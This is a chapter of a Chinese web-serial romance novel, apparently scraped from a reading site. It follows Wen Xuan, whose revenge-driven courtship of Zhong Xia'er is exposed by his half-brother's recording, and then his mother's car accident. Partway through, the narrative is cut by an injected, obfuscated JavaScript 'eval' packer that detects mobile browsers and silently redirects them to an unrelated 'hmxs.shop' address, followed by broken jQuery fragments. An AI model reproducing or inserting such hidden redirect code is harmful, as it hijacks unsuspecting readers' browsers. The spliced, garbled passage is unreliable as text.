33. 唯一(2)

作品:《表里如一[破镜重圆]

    跟江南添不欢而散后,已是傍晚黄昏时刻,太阳将要落山,晚霞为天际染上一抹橘红,像是正在燃烧的火焰。


    钟遐迩看了看表,确认快到闻煊下班时间,就去衣帽间把身上沾染了茶水的衣服换掉,而后自己开车去黎明之光总部楼下候着。


    黎明之光不提倡加班,到点即下班。


    闻煊褪下工作服穿回自己的衣服,便迈着大步出门。


    就在他出了大厅准备左拐搭地铁时,忽然在右边侧门处见到一个熟悉的女子身影。


    他先是愣了下,怀疑自己眼花了。直至抬手用力揉了几下眼皮,才知道这不是梦,是真的。


    心中愉悦,唇角不自觉上扬,他大步流星走过去一把抱住站在车边心心念念的人,激动地说:“你回来了!什么时候回来的?怎么不提前说一声,我去接你?”


    一上来这么多问题,钟遐迩根本不知道先回答哪一个。


    所以她选择不回答,微微松开抱着他的手,抬头对上他漆黑的眼睛,笑了笑,反问他:“见到我开心吗?”


    “当然开心!”


    说完话后,他赶忙抱着她的额头吻了一口。


    许是很久未见,太过想念,他紧紧拥着女人,将头埋在她肩膀处,贪婪地汲取她身上好闻的气息,整个人都放松下来,软趴趴地靠在她身上,跟慵懒的家猫一般。


    钟遐迩被他这乖巧模样可爱到了,一边回抱着他一边抬手抚上他柔软的黑发,本想说点什么,却又听他念叨着:“分开这些天,我很想你。”


    “我也是。”


    说完话,他们又抱了好一会儿才上车。


    每次坐钟遐迩的车,闻煊这个人都像改了性子,上来就系好安全带,坐得又直又板正,安静默然,没什么动作,如同被拘的囚犯,十分守规矩。


    钟遐迩看着他拘谨的样子忍俊不禁,自己倾身弯腰将副驾驶前的储物仓打开,从里面拿出一个绿色绒布礼盒,递给副驾驶上坐得板正的人。


    “礼物,送你的。”


    话毕,闻煊惊喜地接过礼盒,缓缓打开,便看见里面静置着一个精致的竹叶书签,是由缠花制成的。


    他小心翼翼取出,摩挲着丝滑又舒服的材质,心中很欢喜。


    竹叶有九片,每片大小不一,样式也有些差距,闻煊做过缠花,一看便知能做出这个东西必定耗费了不少心力。


    单是用铜丝编织这些竹叶形状便不简单。


    书签最上方还粘着一颗白粉色的珍珠,散发着细腻的光泽,形状不那么规则,倒像是真的珍珠。


    “为什么送我这个?”他问。


    “知道你喜欢看书,所以特意在英山为你缠的。”


    “材料用的是当地独有的丝线,珍珠是我亲自下河为你摸的蚌珠。我知道自己工作原因没法一直在你身边,就想着去都去了,不如做个小东西送你,如果以后我不在你身边,它也能替我陪着你。”


    说完她还指了指自己身前那枚胸针,莞尔一笑:“就像你这枚海棠花,也在一直陪着我。”


    听她讲完礼物制作过程和原因,闻煊抱着礼物的手更加轻盈,他很珍视,也不敢用力,生怕毁坏这宝贵的东西。


    夜幕降临,华灯初上,远处亮起路灯,昭示着时间已晚。


    二人准备去吃晚餐,闻煊怕钟遐迩是刚下飞机便来找自己,太过劳累,于是把礼物细心收好后,自告奋勇主动开车。


    十分钟后,汽车驶入高架桥。


    车内放着钟遐迩喜欢的纯音乐,车窗半开,凉风吹进来,二人面上始终挂着幸福的笑。


    闻煊眼神仔细盯着前面的路,余光却忍不住瞥向副驾驶,开过最后一个红绿灯时,他才问她:“这次出差顺利吗?”


    “中途有点小插曲,不过都过去了。”


    钟遐迩也不想说太多自己在英山的遭遇,毕竟都过去了的事,说多了怕是会让闻煊担忧,索性直接用一句过去了去堵住他想继续问的理由。


    听她有转移话题的意思,闻煊也没硬问,只是语气降了下来,有几分叹息的意味,抱怨着:“如果不是要上学要兼职,我真想跟你一起去。”


    可现实日子总还要过,也不能只围着爱情转圈。


    钟遐迩听出他的失落,安慰道:“放心好了,等你毕业我们结婚以后,在一起的日子不会少,只希望你那时候不会厌烦。”


    这突如其来的变相求婚,让闻煊的心用力颤了一下,他目光注视着眼前一晃而过的车流,声音低迷,似在蛊惑:“姐姐,我有没有说过……”


    “我其实很早就开始喜欢你了,比你以为的更早。”


    闻煊乍然表露忠心,钟遐迩很惊讶,不过片刻便笑出声:“想不到你居然还是个喜欢暗恋的痴情种,看来我真是捡到宝了。其实,我也有一件事想要告诉你。”


    她话语戛然而止,引得闻煊侧眸,脚下油门都松开几秒。


    在男人满含期望的眼神下,钟遐迩摸着下巴,最后摇摇头说算了,“我突然改主意了。暂时不说,等那天我再告诉你。”


    那天?是哪一天?


    闻煊虽然不知道钟遐迩在计划什么,但心里隐隐能从猜出她说的一定是值得高兴的事。


    从此刻开始,他已经期待了。


    小别胜新婚,分开这些天,彼此对对方的思念已经如沸腾的水快要喷涌而出。


    接下来的几天他们几乎都腻在一起,钟遐迩每晚接到闻煊放学后,都会一起回家,有时候周六日便直接在酒店。


    这是他们在一起后,最快乐的日子。


    闻煊以为自己会和钟遐迩永远这样幸福下去,二人甚至开始商量着婚期和见父母。


    安逸的日子却在五月里的一天,被一个不速之客打破。


    *


    江南添自从那次质问闻煊为什么转卖咖啡店后便和闻煊失去联系,直到见了钟遐迩和闻煊的合照,才又对自己这个心机深沉的弟弟重新上心起来。


    哪知一查才知他早就搬了家,还给闻阿姨换了医院。


    江家在榆南有些势力,想找到一个人的住址并不难。更何况闻煊还有一个重病的母亲,每日流水消费都可以很轻松查到。


    江南添找到闻煊地址的这天,在小区楼下等他回来。


    哪知一等就从天亮等到了天黑。


    他躲在暗处花园里,看着来往形形色色的人发呆。


    夜空似帷幕,笼罩住整个小区,眼前漆黑一片,忽然远处来了一束亮眼的汽车灯光打到江南添脸上,他被刺地眨眼扭头向侧躲去。


    再抬头看去,发现那辆车竟停在闻煊居住的楼下,车门被打开,车上左右两扇门下来两个人,一男一女,定睛看去,男的正是他要找的闻煊。


    而女的——


    毫无意外,是钟遐迩。


    两人在车前依依不舍相拥,纠缠了几分钟,临别前还来了个离别吻,吻得难舍难分,直至女人红着耳尖快喘不过气时,男人才缓慢放开,带着意犹未尽的表情。


    江南添站在原地,蠢蠢地看着这一幕,眼眶猩红,心碎了一地。


    可他又没理由冲出去制止,只能站在远处,看着他们恩爱。


    ……


    闻煊目送钟遐迩把车驶离小区后,余光瞥了花园角落处一眼,察觉到什么后,唇角扬起一抹清浅的弧度,随后转身进了单元门。


    半只脚刚踏进门槛,身后便突然袭来一阵力道,脚步被逼停,他整个人被对方用力拽着衣领转过身去,还未看清来人,面上便受了重重一拳。


    闻煊踉跄着后退几步,站稳脚跟,看清来人。


    许久不见的人就这样来势汹汹地出现在眼前,他毫不意外。


    也就这样挑衅似得站在原地没动,选择去膈应对方。


    他眼底含着笑,歪着头对上男人怒不可遏的双眸,故作单纯地说了句:“来了啊,我的好哥哥。”


    他故意把“哥哥”两个字念得很浅,漫不经心,不以为意。


    江南添看着他这幅玩世不恭的样子就来气,双眼圆睁,面色紧绷,死死抓着他的衣领,怒气冲天,喊得歇斯底里:“我有没有警告过你不要接近小迩!”


    闻煊不反抗,任由他抓着,只是听到这话,盯着江南添的眼神比方才更具嘲弄意味。


    小迩?他也配这么叫她?


    或许是被这称呼惹到逆鳞,他不想再忍,随即抬手,用力掰下江南添拉住他衣领的手,将人重重甩到一旁后,慢条斯理地整理了下微乱的衣襟。


    检查完衣服上的褶皱被理干净,他才抬眼,“怎么这么长时间没见,哥你还是这么冲动,一言不发就动手?这么喜欢用暴力解决问题么?就是不知道你在面对她的时候也是这样吗?”


    提到钟遐迩,江南添有点语塞,无措地立在那。


    闻煊看见他装模作样,又一次笑了。


    坦白说,他在江南添面前几乎都是笑着。


    嘲笑讥笑或是嗤笑,都是发自内心的。


    江南添也是如此。


    原本在旁人面前伪装得很好,遇到闻煊就会无所遁形。


    他很恨,很讨厌这个同父异母的弟弟。


    他一想到二人在车前拥吻的画面,便觉得浑身不自在。


    身子像被火烤一般,原本好看的五官扭曲到极点,仿佛一个暴怒的狮子,张开血盆大口想要吃人:“闻煊!你就是故意报复我!”


    “你明明知道我喜欢小迩,所以你故意留着她的照片,设计靠近她,再让她爱上你,把她从我身边抢走,是不是!”


    闻煊眼底闪过一片暗色,忍痛摸了摸嘴角被他打出的淤青。随后顶了下腮帮子,不屑一顾地瞥着他,勾唇挑衅:“没错。”


    “我就是故意的。”


    包括刚刚他也是一进小区就发现江南添藏在花园里的灌木丛后,所以也是故意和钟遐迩亲密,有意做给江南添看的。


    从前每次跟钟遐迩分开,就算吻也只是蜻蜓点水,可谁让今天江南添来了,还躲在暗地偷窥。于是他故意拉着钟遐迩舌吻,目的就是为了气气这个躲在角落里的偷窥者。


    果不其然,目的达到了。


    他还挺满意挺高兴的,笑容耀眼,眼底带着神采奕奕的光,比头顶的路灯还要亮,这一幕深深让江南添的心像被针扎被刀割一般,痛得要死。


    闻煊不以为意,语气淡淡的,面上讥讽:“江南添,你以为你自己又是什么好东西?”


    江南添疑惑不解地看向他。


    他才道:“你不觉得你刚刚的行为特别像地沟里的老鼠么?”


    “想一想,堂堂上市公司江氏集团的公子,表面斯文儒雅谦谦君子,背地里却是个流氓,喜欢躲在花园里偷窥情侣亲近,说出去不知道有多少记者会大跌眼镜,争着抢着要爆料呢。”


    “没准股票还会涨一波。”


    江南添听到这话,更气愤了。


    脑子那根名为理智的弦噌地一下就断了。


    情绪上头,他没法维系那所谓的绅士模样,眼睛死死瞪着闻煊,“你根本不爱她,你只是为了报复我才接近她。你为了从前那些不值一提的恩怨旧仇不择手段,骗一个女孩子,你还是人吗?”


    江南添怒不可遏,喊得很大声。


    闻煊静静看着他发完疯,忽然就笑了。


    他居然觉得往日那些旧仇不值一提?


    他居然觉得自己和母亲受过的伤都算不得什么?


    他还真敢说!


    他都没经历过,凭什么这么说?


    也对。罪魁祸首永远不觉得自己有罪,甚至还觉得他随便施舍给自己点东西都是恩赐。


    想到这儿,闻煊对江南添这个人彻底厌恶,他恨不得让江南添把母亲受过的苦全部受一遍,再去问问对方什么叫值得。


    又或者说,江南添现在所拥有的一切本该就是他的,他为什么不可以不择手段?


    江南添半眯着眼看向闻煊,喊道:“这个彻头彻尾的骗子!你不会有好下场的!”


    “骗子?”闻煊呢喃着这两个字,随后轻呵一声,极具讽刺意味,“骗子又怎样?”


    “她不照样爱上我了?”


    江南添已经疯了,手指颤抖着,指着他连说了好几个“你!”


    闻煊不想再和这种人纠缠,径直越过他身前,撞到他肩膀,最后停在他背后,缓慢开口:“想不到吧江南添,你苦苦追求却得不到的东西,我唾手可得。”


    “怎么样,喜欢的人被别人抢走的感觉怎么样?”


    “被人玩弄的滋味好不好?”


    临上楼前,他冷眼睥了江南添一眼,嘴角露出一抹充满邪气的笑,三字一停顿,像是在炫耀:“说实话,跟她睡,真的很爽。”


    说完就不管不顾,转身上了楼。


    江南添转过头去,黑眸死死抓着他离去的背影不放,心底的愤恨令他难以忍受,耳朵面颊都被气到发红发烫,一口洁白的牙齿被他咬得咯吱作响。


    他发誓,一定要让小迩看清闻煊的真面目!


    ……


    几分钟,闻煊进了家门。


    在玄关换鞋时,闻含樱听见动静从厨房走出来,一眼就看到他脸上的淤青,心发了慌,眉头蹙在一起,快步走过来问他:“受伤了?怎么回事?”


    “没事儿妈,门口不小心摔的。”


    见人找了个这么草率的借口搪塞自己,闻含樱脸色变得难看,“我之前有没有教过你,不可以骗人。”


    “老实说,谁干的?”


    闻煊眼神闪烁,迟疑片刻,才答:“江南添。”


    得到答案后,闻含樱也没继续追着不放,转而说:“妈妈不问你原因,等你想说的时候再告诉我。”


    闻煊垂着眼皮看着脚下,他还是不想说,而后转移话题,告诉了她另一个好消息:“妈,如果没什么意外的话,我准备月底见过小迩父母后,跟她订婚。”


    闻含樱震惊又欣喜,眼睛亮起来:“真的啊?”


    “小迩是个好孩子,你可不能辜负了她。”


    闻煊点头嗯着,随后面无表情地进看了洗手间去处理脸上的伤口。


    凉爽的水打在脸上,他清醒了不少,眼中涌着一点东西,不知是泪还是水。


    唇角的刺痛警醒着他刚刚和江南添的对峙,他不敢想自己所做的一切被钟遐迩知道以后会是什么下场。


    但他又在奢望,如果那时钟遐迩在身旁,她会不会站在自己这边?


    如果见到他受伤,她会不会和往常一样,一边笑着说他幼稚,再一边心疼地流眼泪,轻轻帮他抹药?


    她那么好那么好,他又怎么敢辜负她?


    夜里他失眠得睡不着,躺在床上抱着那本《记忆胶囊》翻来覆去地想,书里夹着钟遐迩送给他的那个书签。


    绿色竹叶与书的蓝色封面放在一起有些突兀。


    可他却自以为是,固执己见,觉得这两个物品特别搭特别适合放在一起。


    就像他和她一样。


    *


    日子一天天过去,光阴转瞬即逝,眨眼就到了月底。


    这天是春日里常有的大晴天,温度却超越往日十多度,直逼夏季而去,只是在阳光下坐着喝了几口茶水便感觉到额上冒汗。


    为此钟遐迩特意换下身上的居家服,穿了件黑色修身吊带才下楼。怕被晒黑,她又在吊带外穿了件薄薄的衬衫,衣衫长度刚好盖住身下白得发亮的醋酸半身裙。


    钟遐迩下到一楼车库,检查完礼物完好无损后,兴致勃勃地驾车出门。


    礼物是一些补品和烟酒,早在半月前她就跟闻煊提前选好了礼物,约好今天上完课后一起去医院看望何叔叔,今天再去水果店买些水果就足够了。


    她哼着歌启动车子,缓慢开出去,哪知车还没开出大院,迎面便来了辆黑色奔驰GLS堵住她的前路。


    仔细一看车牌号,很眼熟。


    直到看见驾驶位上一身白衬衣正襟危坐的男人,她才反应过来,这是江南添的车。


    她不想理他,右打方向绕到他侧面想离开,哪知对方不依不饶,在她踩油门扬长而去之前突然后退,别住了前路。


    突如其来的车身停在眼前,钟遐迩被吓得一激灵。


    脚下一用力急踩刹车去避让,刺耳的噪音回旋在半空。


    惊吓还未缓解,便见对方又后退几步,硬生生横过整个车身把宽阔的大路占满。


    无路可走,钟遐迩忍无可忍,停下车找到对方车前,猛拍他的玻璃,大声质问他发什么神经。


    不知是谁惹到江南添,玻璃车窗摇下来他还板着个脸,见钟遐迩来了,便直接推开车门,下车站在她面前,


    他开口便问:“你跟闻煊在一起了?”


    钟遐迩眼皮跳了下,抬眼直视他,等他下一句话。


    “那他有没有跟你说过,他是我同父异母的弟弟?”


    钟遐迩还以为他又来纠缠自己关于婚事的事,不想原来是在这儿等着她。


    话毕她扬起头,皮笑肉不笑,“我早就知道,我也不在乎。”


    “如果没其他事我先走了。”


    说完她转身离开,江南添忽然一把拉住她的手腕,差点将她扯倒,他语气急冲冲的:“你听我说小迩,你听我说!”


    “他对你不是真心的,他接近你就是想利用你来报复我,你别信他!”


    手腕传来一股生疼,钟遐迩倔强地瞪他,眼睛挤出几滴生理性的水光,“不信他难道信你?”


    冷冽又疏远的眼神让江南添心底猛地一阵钝痛,仿佛被凌迟成无数块,他认命般点了点头,“好,你不信。”


    “那我给你听个东西你就明白了……”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578122|187196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    几分钟后,录音播放出来,字字句句涌入耳中,钟遐迩不耐烦的眸子逐渐转为震惊,最后直接抢过江南添的手机听了一遍又一遍。


    江南添承认自己的做法不光明磊落,但他别无他法。


    从小一起长大,钟遐迩什么性子他了解,知道她不会轻易相信一个人,所以他那天在见闻煊之前就早有准备点开手机录音,把闻煊真实丑陋的嘴脸全部录了下来。


    他也是在赌,赌闻煊那死要面子,爱跟自己争个输赢的人一定会说出他想要听的话。


    在何宏天那里听到消息说他们今天就会商量订婚事宜,所以他得到闻煊的录音后,没直接来找钟遐迩坦白。


    这段时间他一直都在忍,忍到这一天到来,因为他知道,爱够深恨才能刻骨铭心,这段感情才能彻底瓦解。


    *


    听完录音后,钟遐迩很生气,气到有点胃疼。


    但她不想让江南添看了笑话,所以面上装作无所谓,把人从家里赶走后独自驾车去找闻煊。


    心里很难受,鼻头止不住的酸涩,她一路上眼底始终悬着半滴泪,强忍着不让它落下。


    她没给闻煊打电话问为什么,也不想打,她没有完全信任江南添,也觉得有些事还是要当面说清才好。


    驾车到闻煊小区门口后,她没下车,发消息等人出来。


    五分钟后,一袭黑色夹克衫的闻煊出现在小区门口,衣服很正式,从头到脚都打扮得妥帖精练,想必是花了心思的。


    钟遐迩看着他迎着落日笑得灿烂,一坐上车就俯身过来亲她,她向右偏头躲开他的亲密。


    闻煊被拒绝得手足无措,一头雾水,疑惑地看向钟遐迩,眼神似乎在问她怎么了为什么。


    钟遐迩一言不发,面无表情地打开和江南添的微信聊天框,盯着不久前他发来的那条语音,按下播放键。


    男人清澈的声音回荡在车内:你得不到的东西,我唾手可得。


    说实话,跟她睡,真的很爽。


    唾手可得,真的很爽。


    空气停滞了几秒,此刻倒真有种静止的错觉。


    心碎无声却震耳欲聋。


    在钟遐迩手机中听到自己声音的那一刻,闻煊有些坐立难安。他想解释却发现到嘴的话没法说出口,脚底漫延出一种无力感。


    他害怕,他胆怯,他没有勇气解释,也不知如何是好。


    看到他这一系列反应,钟遐迩忽然就有了答案。


    她眼底蒙上一层薄冰,冷冷望着他,像是在看什么难以启齿的人,捏着手机的手颤抖到无法抓紧,声音哽塞:“闻煊,我要你告诉我,说话的人不是你。”


    对上她泛着水光的眼睛和红到滴血的鼻尖,闻煊胸腔闷闷的,眼睛一下就红了,“你听我解释好不好?”


    “我要你告诉我,是或不是?”


    闻煊无力抗争,认命点头,闭眼承认了:“是。”


    他承认了。


    他居然敢这样承认了?


    钟遐迩心灰意冷,泪珠一滴滴顺着脸颊滑到脖颈,视线开始模糊,恍惚中男人朝她伸过一只手,钟遐迩下意识就别过头躲开了他。


    明明已经心痛到要死,偏偏她还想要点面子,便故作坚强,放狠话道:“那我跟你没什么好说的了,请你下车离开。”


    先前那种再也见不到钟遐迩的心慌又一次降临到他身上,此刻的恐惧不亚于在他得知母亲重病可能要失去她的那瞬间。


    闻煊不依不舍地俯身过去拉着她的手,低下头卑微开口:“对不起。你能不能给我一个解释的机会?就几分钟,几分钟就行。”


    再转过头来,钟遐迩光洁的脸已经被泪水浸透,羽睫上挂着的泪,随着她眨眼,滚烫的泪珠掉到男人手上,她挣脱开束缚,迎上他的目光,“解释什么?”


    “解释你从一开始靠近我就是因为要报复江南添么?还是解释你对我这些好,是因为早打定主意要拿下我,用我当战利品去向江南添炫耀?”


    “闻煊。我特别想问,你的计划是从什么时候开始的呢?我的店?咖啡馆?还是更早?”


    直到刚刚被江南添发来咖啡馆转让证明她才知道,原来他以为勤工俭学的青涩大学生,早就有一家属于自己的咖啡馆,那些他骗自己找朋友借钱,也是变卖了咖啡馆换来的钱。


    而自己心心念念找了很多次无果的服务生,也是他。


    谎话被揭穿,童话转为现实,一切都在往闻煊不曾想过的方向走去,情况恶劣难以应对。


    闻煊开始内疚、恐慌,怕钟遐迩抛弃自己,只是一直呢喃着:“对不起,真的对不起。”


    “我承认我一开始接触你确实是为了报复他,可现在我完全不那么想了,我是真的爱你,你能不能信我这一次?”


    钟遐迩此刻显得异常冷静,一腔热血付出的真心到头来只是对方用来报复人的筹码,颠覆了以往她对人性本善良的认知。


    她苦笑着看他,一只手擦掉眼角的泪,假装无所谓,“你谎话连篇,我还能信你吗?”


    闻煊欲言又止:“我……”


    一阵刺耳的电话铃声蓦地响起,打破二人僵持不下的窘境。


    钟遐迩冷脸坐在一边沉默着,闻煊看着屏幕上“未知来电”几个字皱起眉头,接了电话,不耐烦地开了免提:“请问是闻女士家属么?她在南路出了车祸,麻烦你来医院一趟……”


    后面说的什么,闻煊已经完全听不清了。


    直至对方挂了电话,闻煊依旧没清醒,脑子早已乱作一团,嗡嗡作响。


    “闻煊!闻煊!”钟遐迩听到肇事司机已经弃车逃跑,震惊愤怒了片刻,而后目光转向副驾驶的闻煊,叫了他好几声他才回神,而后她边启动车子边问:“怎么回事?阿姨没在家?”


    “今天超市打折,她知道我们晚上要回来吃饭,所以特意出去买点菜。怎、怎么会这样?”


    闻煊难以置信,愣在那像个木头人。


    明明出去时还是好好的,怎么会突然出车祸?


    事发地点还是南路。


    南路,可南路有什么?


    他眼睛一亮,猛然想起江氏集团的荣达酒店就在南路。


    后来他一路上没再开口,眼神没了光,心慌胸闷,祈祷着母亲千万不要有事。


    心里一边在痛苦挣扎,一边理智地想了无数种可能性,他根本不信这是什么意外,心里烦闷至极,最终得出一个结论:“一定是他做的!”


    听这强硬的语气,钟遐迩疑惑,可一对上他愤恨的眼,便猜到闻煊口中的“他”是谁。


    她皱着眉头问道:“你有证据吗?”


    能证明是江南添做的证据。


    光天化日,钟遐迩不认为江南添会有只手遮天的本领,蠢到去杀人,所以也不想闻煊再被仇恨蒙蔽双眼,便安慰他道:“或许这就是个意外呢,闻煊你要理智一点,调查好证据再下结论,要把你的聪明头脑用在对的地方。”


    “我不信,这世上哪有那么多的巧合意外。”


    钟遐迩无奈叹了口气,想起他母亲对自己的好,便先把闻煊利用自己的事情抛在脑后,反而先解决闻煊的烦恼。


    余光看着闻煊,语气柔和下来:“我先陪你去医院看看阿姨,我们再说其他的,好吗?”


    急忙赶到医院后,在急救室外等了病人五个小时,最终却得到医生一句尽力了,以后要看病人自己的造化,有可能某一天会醒,也有可能后半辈子都醒不过来直至老去、死去。


    消息仿佛晴天霹雳,让闻煊本就残破不堪的心更加摇摇欲坠,碎成一块块的。


    他想不通自己的人生为什么那么倒霉,为什么不被上天眷顾,又为什么让他在本该高兴的一天,要失去两个在乎的人。


    想着一个活生生的人以后只能躺在病床上一动不动,钟遐迩也一样难受,可她知道自己不能太悲伤,她还要安慰好最伤心的闻煊。


    许是看穿他藏在眼皮底下的脆弱,她也不再去计较那些情情爱爱,只是默默站在他身边,轻言轻语地跟他说:“坚强点,不管怎么样,我都会陪你一起面对。”


    病人转到重症监护室时,闻煊从主治医生那里得到一个闻含樱出事时手中紧紧抓着的东西,他捏着东西看了几眼,忽然想起东西的主人是谁。


    意外来得突然,钟遐迩给何叔叔打了电话延后见面时间,然后二人一起在医院从傍晚守到凌晨。


    冰冷的夜,昏暗的走廊,二人依偎在一处公共座椅上。


    钟遐迩熬到凌晨快天亮时,终于熬不住,累得想要睡着时,闻煊突然开口:“你能约江南添出来和我见一面吗?”


    “我想和他谈谈。”


    钟遐迩不知道他要见江南添做什么,盯着他的双眼有点戒备。


    最后换来对方一句:“不做别的,只是谈谈。”